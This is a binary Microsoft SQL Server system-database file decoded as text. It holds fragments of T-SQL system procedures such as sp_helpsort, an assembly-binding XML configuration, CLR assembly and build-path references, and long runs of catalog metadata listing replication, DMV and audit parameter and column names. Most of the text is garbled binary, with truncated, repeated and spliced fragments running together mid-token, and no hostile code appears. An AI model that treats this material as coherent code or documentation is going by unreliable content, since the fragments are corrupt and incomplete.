    	END
    	ELSE
    	BEGIN
        	RAISERROR(21770, 16, -1, @source_type, @destination_type)
        END
        
		RETURN (1)
	END
	
	RETURN (0)
END
GROUPS_CLUSTER) ags
04 8create procedure sys.sp_helpsort
AS
	set nocount on

	-- Now display the server default collation name
	declare @servercollation sysname
	select @servercollation = convert(sysname, serverproperty('collation'))

	if @servercollation is not NULL
	begin
		select 'Server default collation' = description
			from sys.fn_helpcollations() C
			where @servercollation = C.name
	end

	set nocount off
	return(0) -- sp_helpsort
4`6-F<k-@0<configuration><system.net><defaultProxy><proxy enabled="false" /></defaultProxy></system.net><runtime><assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"><dependentAssembly><assemblyIdentity name="Microsoft.SqlServer.Types" publicKeyToken="89845dcd8080cc91"/><bindingRedirect oldVersion="10.0.0.0" newVersion="11.0.0.0"/></dependentAssembly></assemblyBinding></runtime></configuration>0&0
 Z4microsoft.sqlserver.types.dll
00R`Microsoft.SqlServer.Types.GeometryTessellationFunction0R`4InitMethod	R0	00"q Microsoft.SqlServer.Types.SpatialTessellationFunction0"q ,Planar	"q	0	o00!`Microsoft.SqlServer.Types.GeometryUnionAggregate0\`Microsoft.SqlServer.Types.GeometryConvexHullAggregate0`Microsoft.SqlServer.Types.GeometryEnvelopeAggregate0=r`Microsoft.SqlServer.Types.GeographyUnionAggregate0`Microsoft.SqlServer.Types.GeographyCollectionAggregate0.`Microsoft.SqlServer.Types.GeographyEnvelopeAggregate0$`dMicrosoft.SqlServer.Types.SridList0$`4InitMethod0`zMicrosoft.SqlServer.Types.SpatialGridCoverage0`,Planar0D|`zMicrosoft.SqlServer.Types.SpatialGridCoverage0D|`0Geodetic0
 e:\sql11_main_t\retail\x86\Microsoft.SqlServer.DmfSqlClrWrapper.dll0
J<h8>9[:0
 e:\sql11_main_t\retail\x86\Microsoft.SqlServer.MpuSqlClrWrapper.dll0
VY8Fh;><8^=q>03`Microsoft.SqlServer.Management.Shared.MpuSql.MpuSqlClrWrapper03`LGetVolumeFreeSpaceInKB0
 ve:\sql11_main_t\retail\x86\asm_tranrepl.dll0
2=AA0 |Microsoft.SqlServer.Replication.ReplCmdsReader0 Bsp_printstatement0F Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0F Zsp_MSmakeconflicttable_sqlclr	}00	} 6MSSQLSERVER0	} h0	} h0	} h0T Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0T sp_MSgeneratenosyncsubscriptionsetupscript_sqlclr0	T 2<read only	T00	T 6MSSQLSERVER	00~ Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0~ ^sp_MSscriptcustominsproc_sqlclr	~00	~ 6MSSQLSERVER0 Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0 ^sp_MSscriptcustomupdproc_sqlclr	00	 6MSSQLSERVER0
Q Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0
Q ^sp_MSscriptcustomdelproc_sqlclr	
Q00	
Q 6MSSQLSERVER0 Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0 rsp_scriptdropinsreconciliationproc_sqlclr0oob Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0oob rsp_scriptdropdelreconciliationproc_sqlclr0
3 8CDCfunctions0
3 8IncrementLSN0h ,ORMask0
 e:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\asm_TableMaintenance.dll0
2;0P`Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenance0P`>ServerUninstallrver.Management.Shared.MpuSql.MpuSqlClrWrapper0X`<ProcessorUsage03`Microsoft.SqlServer.Management.Shared.MpuSql.MpuSqlClrWrapper03`LGetVolumeFreeSpaceInKB0
 ve:\sql11_main_t\retail\x86\asm_tranrepl.dll0
2=AA0 |Microsoft.SqlServer.Replication.ReplCmdsReader0 Bsp_printstatement0v |Microsoft.SqlServer.Replication.ReplCmdsReader0v Lsp_printagentstatement0F Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0F Zsp_MSmakeconflicttable_sqlclr0} Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0} dsp_MSscriptsynctrancommands_sqlclr	}00	} 6MSSQLSERVER0	} h0	} h0	} h0T Microsoft.SqlServer.Replication."`

{\#f)~:	4
n_VA<Z

j	(HjVo=4E1`')'	+6?*lastwaittype6?"memusage6?(physical_io6?spid6?	uid6?*waitresource6?"waittime6?"waittype6i@lcid6Y!name6Y!*principal_id6Y!8service_contract_id6@type6Vu(database_id6Vu<downgrade_start_level6Vu>downgrade_target_level6Vu$script_id6Vu*script_level6Vu(script_name6Vu8upgrade_start_level6Vu	:upgrade_target_level6Vu version6Y0audit_file_path6Y0audit_file_size6Y"audit_id6Y<event_session_address6Yname6Ystatus6Y(status_desc6Y(status_time6?
&login_time6?$open_tran6?status6?sid6?*program_name6?$nt_domain6?(nt_username6?(net_address6?(net_library6?"loginame6?&sql_handle6?&stmt_start6?"stmt_end6? &request_id6.@cursor_return6>@fulltext_catalog_name6(@table_name6 Cell_Id60Cell_Attributes6SRID6"@gGeoObj6(@usDensity06(@usDensity16(@usDensity26(@usDensity36@card64@tessellationMode60@distanceBuffer6&request_id6&step_index6.operation_type64distribution_type6,location_type6status6"error_id6&start_time6	"end_time6
6total_elapsed_time6$row_count6 command6G*acquire_time64@Mname64@Msource64@M&is_enabled6R:@foreignkey_tab_name6R>@foreignkey_tab_schema6R.@pk_table_name6R2@pk_table_schema6R4@pk_table_catalog6LC,@table_schema6LC(@table_type6f @object6(&@type_name6(*@type_schema6/0@procedure_name6/,@group_number6/4@procedure_schema6/0@parameter_name6bĶ GRANTOR6bĶ GRANTEE6bĶ,TABLE_CATALOG6bĶ*TABLE_SCHEMA6bĶ&TABLE_NAME6bĶ(COLUMN_NAME6bĶ.PRIVILEGE_TYPE6bĶ*IS_GRANTABLEX1\61\$@position61\*@update_mask6@objid6@colid6@artid66@bGetTextImageInfo6"@colname6$@ccoltype6.@publishertype6!&@publisher6!,@publisher_db6!*@publication6!6@subscription_type6A2@distribution_db6 @server6$@infotype6@login6$@password6
>(schema_name6
>0constraint_name6
>type6
>>constraint_column_name6
>:constraint_column_id6
>@objid6n*@publication6n(@subscriber6n.@subscriber_db6n&@publisher6OM*@publication6OM$@property6OM@value6OMF@force_invalidate_snapshot6OMF@force_reinit_subscription6OM&@publisher66b@pubid66b@artid66b$@property66b@value6}w4@publication_type62&@publisher62*@publication620@publication_id62>@autogen_sync_procs_id62*@sync_method622@allow_sync_tran626@allow_queued_tran62&@allow_dts62	&@repl_freq62
$@hr_admin6o,@publisher_id6o,@publisher_db6o&@publisher6o0@max_xact_seqno6o,@for_truncate6$@name6$@hours6$,@session_type6.,@publisher_id6.,@publisher_db6.(@article_id6hr&@publisher6hr,@publisher_db6hr*@publication6hr<@dynamic_filter_login6hrB@dynamic_filter_hostname6hr0@frequency_type6hr8@frequency_interval6hr4@frequency_subday6hr	F@frequency_subday_interval6hr
J@frequency_relative_interval6hrJ@frequency_recurrence_factor6hr6@active_start_date6hr
2@active_end_date6hrD@active_start_time_of_day6hr@@active_end_time_of_day6
Y4@primary_database6
Y4@secondary_server6
Y8@secondary_database6
Y&@overwrite6h*@publication6h,@functionlist6g*@publication62W@pubid62W@artid62W&@next_seed62W@range62W&@threshold6BL@pubid6BL(@haschangesN&^6F(@:hVv&VhbD @6rTjT&
V8

&
l
F
P"rtl
F(fBhR0pLDl&`)L6o/@2SessionLoginName6o/"Severity6o/>2SourceDatabaseID6o/SPID6o/?$SqlHandle6o/$StartTime6o/State6o/ Success6o/*0TargetLoginName6o/+.TargetLoginSid6o/'.TargetUserName6o/"TextData6o/,TransactionID6o/9Type6o/Writes6o/2*XactSequence6J|(@futureonly6J|"@objname6J|$@rulename6$@clauseno6docid6score63\(database_id63\$object_id63\$handle_id63\2file_object_type63\<file_object_type_desc63\>correlation_process_id63\<correlation_thread_id63\*file_context63\	state63\
&state_desc63\<current_workitem_type63\Fcurrent_workitem_type_desc63\
fcb_id63\ item_id63\*is_directory63\$item_name63\2opened_file_name63\@database_directory_name63\:table_directory_name63\8remaining_file_name63\$open_time63\flags63\"login_id63\&login_name63\$login_sid63\(read_access63\*write_access63\,delete_access63\&share_read63\(share_write63\*share_delete63\ 6create_disposition6"group_id6&group_name6G(database_id6G,physical_name6t;$OBJECT_ID6t;$SCHEMA_ID6t; GRANTOR6t; GRANTEE6t;,TABLE_CATALOG6t;*TABLE_SCHEMA6t;&TABLE_NAME6t;(COLUMN_NAME6t;	(COLUMN_GUID6t;
,COLUMN_PROPID6t;.PRIVILEGE_TYPE6t;*IS_GRANTABLE6.@binary8_value]6]@artid6]@pubid65O&@publisher65O,@publisher_db65O*@publication65O6@subscription_type65OB@allow_subscription_copy65O$@queue_id65O*@update_mode65O0@attach_version65O	,@queue_server6 P*@source_dbms6 P0@source_version6 P*@source_type6 P4@destination_dbms6 P:@destination_version6 P4@destination_type6 P.@defaults_onlytji6tji@type=l{6=l{"@db_name6_M@cmd6_M @dbname6_M@debug6*@publication6(@subscriber6.@subscriber_db6&@publisher6dz_*@publication6dz_&@publisher6dz_0@publisher_type691*@publication691"@article691*@filter_name691.@filter_clause691F@force_invalidate_snapshot691F@force_reinit_subscription691&@publisher6t*@publication6t"@article6t,@source_table6t6@destination_table6t8@vertical_partition6t@type6t @filter6t*@sync_object6t	"@ins_cmd6t
"@del_cmd6t"@upd_cmd6t2@creation_script6t
*@description6t4@pre_creation_cmd6t.@filter_clause6t.@schema_option6t6@destination_owner6t @status6t,@source_owner6t6@sync_object_owner6t,@filter_owner6t.@source_object6t@artid6t:@auto_identity_range6t8@pub_identity_range6t0@identity_range6t&@threshold6tF@force_invalidate_snapshot6t>@use_default_datatypes6tN@identityrangemanagementoption6t&@publisher6t F@fire_triggers_on_snapshot6ݢ*@object_name6>'*@publication6A&@publisher6A,@publisher_id6@subid6@login6@type6&@EventData6j"@artnick6$@password6kР*@publication6kР"@article6kР(@filtername6kРF@force_invalidate_snapshot6kРF@force_reinit_subscription6.@source_object6"@rowguid6>&@publisher6>,@publisher_db6>*@publication6>:@alternate_publisher6>@@alternate_publisher_db6>>@alternate_publication6h@pubid6h,@partition_id6P@objid6P,@deleted_cols6#/&@tablenick6#/"@rowguid6destination_length6 P<destination_precision6 P4destination_scale6 P:destination_nullable6 PBdestination_createparams6 P"dataloss6 P&is_default6 P*@source_dbms6 P0@source_vers

h4.*6(j\@8d,>NhRT~&2:@~Lrt4\.XZxh

<
	4	b	


F0:		8nR.hZ*


8dT

<.\x^	`	Z(Rx^2dH$`q
>)O6q7Fshared_memory_committed_kb6q7Dshared_memory_reserved_kb6q7Vvirtual_address_space_committed_kb6q7Tvirtual_address_space_reserved_kb6IC&@handle_id6IC(@table_name6v(database_id6v8min_length_in_bytes6v@record_image_first_part6v
Brecord_image_second_part6vTrecord_length_first_part_in_bytes6v	Vrecord_length_second_part_in_bytes6v$rowset_id6vstatus6vBtransaction_sequence_num6v:version_sequence_num67v$wait_type67v8waiting_tasks_count67v*wait_time_ms67v2max_wait_time_ms67v8signal_wait_time_ms67v(pdw_node_id6%?w&@publisher6%?w,@publisher_db6%?w*@publication6%?w6@subscription_type6/9(@subscriber6/9.@subscriber_db6/9*@publication6aL*@publication6aL"@article6aL@alter6aL&@usesqlclr6C>]*@MessageType6C>]"@Message6C>]$@database6&@publisher6,@publisher_db6&@tablename6*@adjust_only6.@for_publisher6@range6&@next_seed6&@threshold6oV*@db_snapshot6oV"@lastLSN6oV(@lastLSNstr6U<4@capture_instance6U<0@low_water_mark6U<&@threshold6(@force_flag6D@max_network_optimization6*@articlename64@publication_name6&@publisher6,@publisher_db6D@logical_record_conflicts6.K@pubid6.K@artid6.K$@property6.K@value6.K.@value_numeric$wait_type67v8waiting_tasks_count67v*wait_time_ms67v2max_wait_time_ms67v8signal_wait_time_ms67v(pdw_node_id6x(dms_core_id6x(pdw_node_id6xstatus6'"alert_id6'*component_id6'&alert_name6'state6'"severity6'type6'(description6'$condition6'	status6'
0condition_value6(@table_name6*@table_owner62@table_qualifier6*@column_name6BR@id6BR$@step_uid6BR@name6BR0@frequency_type6BR8@frequency_interval6BR4@frequency_subday6BRF@frequency_subday_interval6BRJ@frequency_relative_interval6BR	J@frequency_recurrence_factor6BR
6@active_start_date6BR2@active_end_date6BRD@active_start_time_of_day6BR
@@active_end_time_of_day6BR@login6BR$@password6BR$@proxy_id6`&@publisher6`,@publisher_db6`*@publication6`*@distributor6`F@distributor_security_mode6`6@distributor_login6`<@distributor_password6`*@ftp_address6`	$@ftp_port6`
&@ftp_login6`,@ftp_password6`:@alt_snapshot_folder6`
6@working_directory6`"@use_ftp6`.@offload_agent6`0@offload_server6qN@mark_expired_as_failed_attach6%?w&@publisher6%?w,@publisher_db6%?w*@publication6%?w6@subscription_type6F(@profile_id6F0@parameter_name6F2@parameter_value6W6*@publication6W6*@given_login6W6&@publisher6/9(@subscriber6/9.@subscriber_db6/9*@publication6޷*@publication6޷"@article6޷@objid6޷@artid6޷2@identity_insert6aL*@publication6aL"@article6aL@alter6aL&@usesqlclrE6E,@publisher_id6E,@publisher_db6E*@publication6E0@publication_id6E&@retention6EN@merge_SyncExpireTimeThreshold6EH@merge_RunDurationThreshold6E*@currentdatev6v@artid6C>]*@MessageType6C>]"@Message6C>]$@database6&@publisher6,@publisher_db6&@tablename6*@adjust_only6.@for_publisher6@range6&@next_seed6&@threshold6&@object_id6oV*@db_snapshot6oV"@lastLSN6oV(@lastLSNstr6U<4@capture_instance6U<0@low_water_mark6U<&@threshold6B(@schemaname6B&@tablename6*@publication6(@force_flag6D@max_network_optimization6*@articlename64@publication_name6&@publisher6,@publisher_db:f`,	R			

x
D

FvdjDP,nB
0RvnJ,	X	$	L@`~s)
l56B
\$object_id6B
\&user_scans6B
\&user_seeks6c(@DatabaseId6c(database_id6c2recovery_unit_id6c2resource_pool_id6csize6$@ccolumns6@crows6"@gGeoObj6@maxx6@maxy6@minx6@miny6$attribute6id6wkb6B
\*user_lookups6B
\*user_updates6B
\*system_seeks6B
\
*system_scans6B
\.system_lookups6B
\.system_updates6B
\(pdw_node_id6R&request_id6R&step_index6R.dms_step_index6R(pdw_node_id6R0distribution_id6Rtype6Rstatus6R,bytes_per_sec6R	0bytes_processed6R
.rows_processed6R&start_time6R"end_time6R
6total_elapsed_time6R"cpu_time6R&query_time6R4buffers_available6R"dms_cpid6R"sql_spid6R"error_id6R(source_info6R2destination_info6R command64@procedure_schema6m@pubid6P}8@primary_key_bitmap6P}@index6P} @colpos6P}"@art_col6,4@application_name6,(@agent_type6S$@is_biton6e*@publication6e&@publisher6~(@table_name6~6@index_column_name6b~&@publisher6b~,@publisher_db6b~*@publication6b~@login6b~&@operation6b~(@has_access6b~@skip6<]*@publication6<]"@article6<],@returnfilter6<]&@publisher6<]@found6<]@rmo6*@publication6"@article6&@publisher6*@publication6"@article62@identity_insert6@artid6@mode68(@article_id6/}*@publication6/}*@description6/}(@request_id6sf&@publisher6sf,@publisher_db6sf*@publication6sf"@article6sf(@subscriber6sf0@destination_db6sf2@subscriptionlsn6sf&@lsnsource6sf	@pubid6sf
<@publisher_db_version6sf(@script_txt6sf:@nosync_setup_script6sf
0@next_valid_lsn6sf@artid6u*@publication6u"@article6u@artid6u0@destination_db6u0@next_valid_lsn61,@publisher_id61,@publisher_db61@len6@mode6_,@source_owner6_,@source_table6[{.@metadata_type6[{2@parent_nickname6[{0@parent_rowguid6[{@@logical_record_lineage6[{@pubidror_id6R(source_info6R2destination_info6R command64@procedure_schema6(@whattodrop6m@pubid6P}8@primary_key_bitmap6P}@index6P} @colpos6P}"@art_col6,4@application_name6,(@agent_type6S$@is_biton6e*@publication6e&@publisher6~(@table_name6~6@index_column_name6i(@agent_type6i2@distribution_db6b~&@publisher6b~,@publisher_db6b~*@publication6b~@login6b~&@operation6b~(@has_access6b~@skip>6>&@agenttype6> @job_id6%0*@publication6%0"@article6%0(@subscriber6%00@destination_db6%0$@property6%0@value6%0&@publisher6%00@publisher_type6<]*@publication6<]"@article6<],@returnfilter6<]&@publisher6<]@found6<]@rmo6*@publication6"@article6&@publisher6*@publication6"@article62@identity_insert6@artid6@mode6+*@publication6+"@article6+$@ins_proc6+$@upd_proc6+$@del_proc6+$@upd_trig6+@alter6Z&@src_objid6Z@artid6Z.@publishertype68(@article_id6/}*@publication6/}*@description6/}(@request_id6sf&@publisher6sf,@publisher_db6sf*@publication6sf"@article6sf(@subscriber6sf0@destination_db6sf2@subscriptionlsn6sf&@lsnsource6sf	@pubid6sf
<@publisher_db_version6sf(@script_txt6sf:@nosync_setup_script6sf
0@next_valid_lsn6sf@artid6u&@publisher6u,@publisher_db6u*@publication6u"@article6u@artid6u0@destination_v^@PzH|zrV:^T&V$j<~>&J@lR 	@	^
	v		
	6
&
D

p
l(F
X
6

z

Bl`)4J d6"group_id6:health_check_timeout6name64resource_group_id6(resource_id6(database_id6Tinternal_objects_alloc_page_count6Xinternal_objects_dealloc_page_count6(pdw_node_id6&session_id6Luser_objects_alloc_page_count6Puser_objects_dealloc_page_count6a@name6a&@operation6S(database_id6S file_id6S page_id6S&page_level6S6allocation_unit_id6S$page_type6S$row_count6S8free_space_in_bytes6S	(is_modified6S
$numa_node6S,read_microsec6S(pdw_node_id6'run_id6'name6'(submit_time6'&start_time6'"end_time6'6total_elapsed_time6'.operation_type6'mode6'	,database_name6'
&table_name6'*principal_id6'&session_id6'
&request_id6'status6'"progress6' command6'.rows_processed6',rows_rejected6',rows_inserted6<(pdw_node_id6<*component_id6<<component_instance_id6<"alert_id6<4alert_instance_id6<,current_value6<.previous_value6<(create_time6,INDEX_CATALOG6*INDEX_SCHEMA6&INDEX_NAME6$CLUSTERED6
(FILL_FACTOR6*INITIAL_SIZE6NULLS6(AUTO_UPDATE6.NULL_COLLATION6(COLUMN_NAME6(COLUMN_GUID6,COLUMN_PROPID6$COLLATION6(CARDINALITY62FILTER_CONDITION6&INTEGRATED6oE,TABLE_CATALOG6oE*TABLE_SCHEMA6oE&TABLE_NAME6oE0VIEW_DEFINITION6oE*CHECK_OPTION6oE*IS_UPDATABLE6&I*@publication6&I@artid6&I@repid6&I@pubid6&I@objid6&I&@tablenick6&I,@partition_id6e&@publisher6e,@publisher_db6e*@publication6e(@subscriber6e.@subscriber_db6e"@enabled6e @regkey6t.@source_folder6t8@destination_folder6$@is_biton6&@publisher6,@publisher_db6*@publication6 @action6*@publication6"@article6&@publisher60@publisher_type6&@usesqlclr6<*@publication6<&@publisher6<0@publisher_type62@artid62.@publishertype62&@publisher6*@publication6"@article
s6
s,@publisher_id6
s,@publisher_db6
s*@publication6
s0@publication_id6
(@request_id6
&@peer_node6
"@peer_db6
,@peer_version6
8@peer_subscriptions6&(@agent_type6&$@agent_id6&(@profile_id6&@publisher6,@publisher_db6*@publication6&@tracer_id66@subscribers_found6&@tracer_id6*@cutoff_date6:@num_records_removed6*@publication6&@publisher6,@publisher_db6xL&@publisher6xL,@publisher_db6xL*@publication6xL @action63&@publisher63,@publisher_db63*@publication63(@subscriber63.@subscriber_db6S@pubid6S8@conflict_retention6E@pubid6E0@uses_host_name6E4@uses_suser_snameme6'.operation_type6'mode6'	,database_name6'
&table_name6'*principal_id6'&session_id6'
&request_id6'status6'"progress6' command6'.rows_processed6',rows_rejected6',rows_inserted6}ȟevent6}ȟ"event_id6}ȟ(create_time6}ȟ&session_id6}ȟcpu6}ȟreads6}ȟwrites6}ȟ"sql_text6}ȟ	0client_app_name6}ȟ
&tsql_stack6}ȟ(pdw_node_id6JP*component_id6JP"group_id6JP.component_name6<(pdw_node_id6<*component_id6<<component_instance_id6<"alert_id6<4alert_instance_id6<,current_value6<.previous_value6<(create_time6$OBJECT_ID6$SCHEMA_ID6,TABLE_CATALOG6*TABLE_SCHEMA6&TABLE_NAME6,INDEX_CATALOG6*INDEX_SCHEMA6&INDEX_NAME6B


|		P	|	

0	T^

BnlD

zv>Z2\z@jP*(	<xhJhNvd"4"<D8d.r86btN,T.Z2fBv

:

X

`y$)\\+3Zv^6V#<signal_worker_address6V,start_quantum6Vstate6Vstatus6V *task_address6V8task_bound_ms_ticks6V<tasks_processed_count6V".thread_address6V<wait_resumed_ms_ticks6V<wait_started_ms_ticks6V.worker_address6V@worker_created_ms_ticks6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6&@retention6*@out_of_date66@independent_agent6Z@artid6Z.@publishertype6Z&@publisher6Z&@usesqlclr6Z&@inDDLrepl6P4@publication_type6 @varbin6$@agent_id6(@agent_type6(@session_id6a$@agent_id6a(@agent_type6a$@database6a@mode6a0@monitor_servere6pC$type_desc6j(ag_group_id6jag_id6j ag_name6j.ag_resource_id6jHautomated_backup_preference6jRautomated_backup_preference_desc6j@failure_condition_level6j
:health_check_timeout6j2local_replica_id6j6local_replica_role6j@local_replica_role_desc6j	8local_replica_state6j
Blocal_replica_state_desc6j6primary_replica_id6jDrequired_copies_to_commit6ho(@OptionName6ho*@OptionValue6ho$@ProcName6:$@loginame6pC6min_logical_writes6pC6max_logical_writes6pC8total_logical_reads6pC6last_logical_reads6pC4min_logical_reads6pC4max_logical_reads6pC6total_elapsed_time6pC4last_elapsed_time6pC2min_elapsed_time6pC2max_elapsed_time6pC(pdw_node_id6E
8active_worker_count6e)"alert_id6e)*component_id6e)&alert_name6e)state6e)"severity6e)type6e)(description6e)$condition6e)	status6e)
0condition_value63&@data_type63"@ODBCVer6,TABLE_CATALOG6*TABLE_SCHEMA6&TABLE_NAME66CONSTRAINT_CATALOG64CONSTRAINT_SCHEMA60CONSTRAINT_NAME6g&@object_id6g*@object_name6g,@object_owner61W*@publication61W(@subscriber61W.@subscriber_db61W&@publisher61W0@publisher_type6T @objid060@pubid6O*@distributor6O&@distribdb6O&@publisher6O@local6O(@rpcsrvname6O0@publisher_type6O,@publisher_id6O6@working_directory6O	"@version66*@publication66(@scriptfile66@cmd6mZU*@publication6mZU(@subscriber6mZU.@subscriber_db6mZU&@publisher6^^*@publication6^^"@article6^^(@subscriber6^^ @status6^^2@previous_status6^^0@destination_db6^^0@frequency_type6^^8@frequency_interval6^^	J@frequency_relative_interval6^^
J@frequency_recurrence_factor6^^4@frequency_subday6^^F@frequency_subday_interval6^^
D@active_start_time_of_day6^^@@active_end_time_of_day6^^6@active_start_date6^^2@active_end_date6^^>@optional_command_line6^^8@distribution_jobid6^^0@from_auto_sync6^^8@ignore_distributor6^^,@offloadagent6^^.@offloadserver6^^4@dts_package_name6^^<@dts_package_password6^^<@dts_package_location6^^<@skipobjectactivation6^^>@distribution_job_name6^^&@publisher6^^H@ignore_distributor_failure6+$*@publication6+$"@article6+$(@subscriber6+$0@destination_db6+$8@ignore_distributor6+$$@reserved6+$&@publisher6+$0@publisher_type6>$@procname6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6&@retention6*@out_of_date66@independent_agent6Z@artid6Z.@publishertype6Z&@publisher6Z&@usesqlclr6Z&@inDDLrepl6@pubid6@artid6 @bitmap6&@publisher6*@publication6"@article6P&@publisher6P,@source_table6P4@publication_type6 @varbin6$@agent_id6(@agent_type6(@session_id6a$@agent_id6a(@agent_typeV.~*XxP,,X0tF
d,`}W)1	m6w!(@resolution6w! @sample6w!"@tabname6O,creation_time6O0execution_count6O,last_clr_time6O8last_execution_time6O6last_logical_reads6O8last_logical_writes6O8last_physical_reads6O
2last_worker_time6O4max_logical_reads6O6max_logical_writes6O6max_physical_reads6O0max_worker_time6O*min_clr_time6O4min_logical_reads6O6min_logical_writes6O6min_physical_reads6O0min_worker_time6O8plan_generation_num6O(plan_handle6O&sql_handle6O:statement_end_offset6O>statement_start_offset6O.total_clr_time6O8total_logical_reads6O:total_logical_writes6O
:total_physical_reads6O	4total_worker_time6@nomsg6"@objname6
@end6
@start6
(AllocUnitId6

,AllocUnitName6
L&Article ID6
'&Begin Time6
%0Beginlog Status6
hHBulk allocated extent count6
lDBulk allocated extent ids6
kTBulk allocation first IAM Page ID6
j2Bulk AllocUnitId6
i,Bulk RowsetId6
O(Byte Offset6
T(Bytes Freed6
2Checkpoint Begin6
.Checkpoint End6
>CHKPT Begin DB Version6
:CHKPT End DB Version6
V(CI Index Id6
U(CI Table Id6
a,Column Offset6
N Command6
J*Command Type6
{2Compression Info6
z:Compression Log Type6
 Context6
pLCopyVerionInfo Source Page Id6
qNCopyVerionInfo Source Page LSN6
sRCopyVerionInfo Source Slot Count6
rLCopyVerionInfo Source Slot Id6
(Current LSN6
5,Database Name6
g(Description6
(Dirty Pages6
/ End AGE6
0"End Time6
[ File ID6
Z(File Status6
X*FileGroup ID6

$Flag Bits6
bFlags6
^&Format LSN6
n6InvalidateCache Id6
o:InvalidateCache keys6
 PLast Distributed Backup End LSN6
!BLast Distributed End LSN6
G2Lock Information6
&Log Record6O*max_clr_time6O6total_elapsed_time6O4last_elapsed_time6O2min_elapsed_time6O 2max_elapsed_time6O!&query_hash6O"0query_plan_hash6O#&total_rows6O$$last_rows6O%"min_rows6O&"max_rows6O'(pdw_node_id6e8,@table_server6e8(@table_name6e8,@table_schema6e8.@table_catalog6e8*@column_name6e8"@ODBCVer6e8*@fUsePattern6*@assembly_id62@assembly_schema6:@assembly_referenced6C0@procedure_name6C,@group_number6C4@procedure_schema6C0@parameter_name6Q*@from_backup69 @object69@owner6k&@publisher6k,@publisher_db6k*@publication6k(@agent_type6k6@exclude_anonymous6|F&@object_id6|F@value6st*@publication6st$@property6st@value6stF@force_invalidate_snapshot6stF@force_reinit_subscription6st&@publisher6st0@publisher_type6Ӫ2@type6Ӫ2*@publication6Ӫ2"@article6th @schema6th*@object_name6wf@dir6wf.@ignore_errors6nS,@publisher_id6nS,@publisher_db6Kp$@agent_id6f>@qualified_object_name6f@artid6f*@range_begin6f&@range_end6f4@next_range_begin6f0@next_range_end6f(@range_type6f.@ranges_needed6e@pubid6I @dbnameb0d.


v
V
4

p$8


b
6

		n	@		`P*x>`P0FvP0V8X*d,d \2BbN0R&,d:nBbnH `+#)?*6ystatus6y timeout6} @action6}@ftcat6}@path6FE2is_current_owner6FE"NodeName6FEstatus6FE6status_description6w(@locallogin6w*@rmtpassword6w(@rmtsrvname6w"@rmtuser6w"@useself6O @ntname6u6@initial_file_name6u0@initial_offset6u @mdpath6u@path6u&event_data6u$file_name6u(file_offset6u(module_guid6u(object_name6u*package_guid6"@colname6(@resolution6 @sample6"@tabname6@xmax6@xmin6@ymax6@ymin6E @dbName6E(@filegrowth6E$@filename6E"@maxsize6E@name6E@size6XZ$@typename6&,ansi_defaults6%4ansi_null_dflt_on6)&ansi_nulls6(*ansi_padding6',ansi_warnings6$&arithabort6
8blocking_session_id6 command6*@concat_null_yields_null6,connection_id6*context_info6"cpu_time6
(database_id6"&date_first6!(date_format6-4deadlock_priority6Destimated_completion_time61:granted_query_memory62>executing_managed_code6
8region_base_address6
Nregion_allocation_base_address6
Jregion_allocation_protection6
:region_size_in_bytes6
*region_state6
Dregion_current_protection6
(region_type6
(pdw_node_id6) wait_id6)&session_id6)type6)(object_type6)(object_name6)&request_id6)*request_time6)*acquire_time6)	state6)
"priority6o (@table_name6o *@table_owner6o 2@table_qualifier6o *@column_name6o "@ODBCVer6o *@fUsePattern6%E$object_id6%E$schema_id6%E,TABLE_CATALOG6%E*TABLE_SCHEMA6%E&TABLE_NAME6%E(COLUMN_NAME6%E(COLUMN_GUID6%E,COLUMN_PROPID6%E	2ORDINAL_POSITION6%E
4COLUMN_HASDEFAULT6%E.COLUMN_DEFAULT6%E*COLUMN_FLAGS6%E
(IS_NULLABLE6%E$DATA_TYPE6%E$TYPE_GUID6%EBCHARACTER_MAXIMUM_LENGTH6%E>CHARACTER_OCTET_LENGTH6%E4NUMERIC_PRECISION6%E,NUMERIC_SCALE6%E6DATETIME_PRECISION6%E<CHARACTER_SET_CATALOG6%E:CHARACTER_SET_SCHEMA6%E6CHARACTER_SET_NAME6%E4COLLATION_CATALOG6%E2COLLATION_SCHEMA6%E.COLLATION_NAME6%E.DOMAIN_CATALOG6%E,DOMAIN_SCHEMA6%E(DOMAIN_NAME6%E(DESCRIPTION6%E(COLUMN_LCID6%E 2COLUMN_COMPFLAGS6%E!,COLUMN_SORTID6%E"8COLUMN_TDSCOLLATION6%E#(IS_COMPUTED6%E$XSS_XML_SCHEMACOLLECTION_CATALOGNAME6%E%VSS_XML_SCHEMACOLLECTION_SCHEMANAME6%E&HSS_XML_SCHEMACOLLECTIONNAME6%E'6SS_UDT_CATALOGNAME6%E(4SS_UDT_SCHEMANAME6%E)(SS_UDT_NAME6%E*BSS_UDT_ASSEMBLY_TYPENAME6%E+*SS_IS_SPARSE6%E,2SS_IS_COLUMN_SET6jm(@table_name6jm,@table_schema6jm2@constraint_name6jm6@constraint_schema6jm,@table_schema6jm2@constraint_name6jm6@constraint_schema6$=*@schema_name6$=4@target_namespace6~@artid6~&@publisher6~0@publisher_type6g&@publisher6g,@publisher_db6g*@publication6g6@subscription_type6g4@publication_type6{@table6{6@expected_rowcount6{6@expected_checksum6{.@rowcount_only6{@owner6{,@full_or_fast6{0@shutdown_agent6{(@table_name6{	*@column_list6*@type6*8@ignore_distributor6**@from_backup6fu0@onoff82682&@articleid682"@tableid682*@publisherid6q&@publisher6q(@check_user6(@profile_id6(@agent_type6C.@failure_level6je @ddlcmd6je(@FirstToken6je(@objectType6je @dbname6je@owner6je"@objname6je,@targetobject6,W@objid6,W@colid6,W@artid6,W6@bGetTextImageInfo6,W"@colname6,W$@ccoltype6%*@publication6{&@tracer_idL,xRH4jp,R0~0T^jD6H
j

2
@Hp

X\Xh:**TDV0tP(vV.
t
:

j			
jF ~Tx\Rx26(b^<jL*~~`0L4"
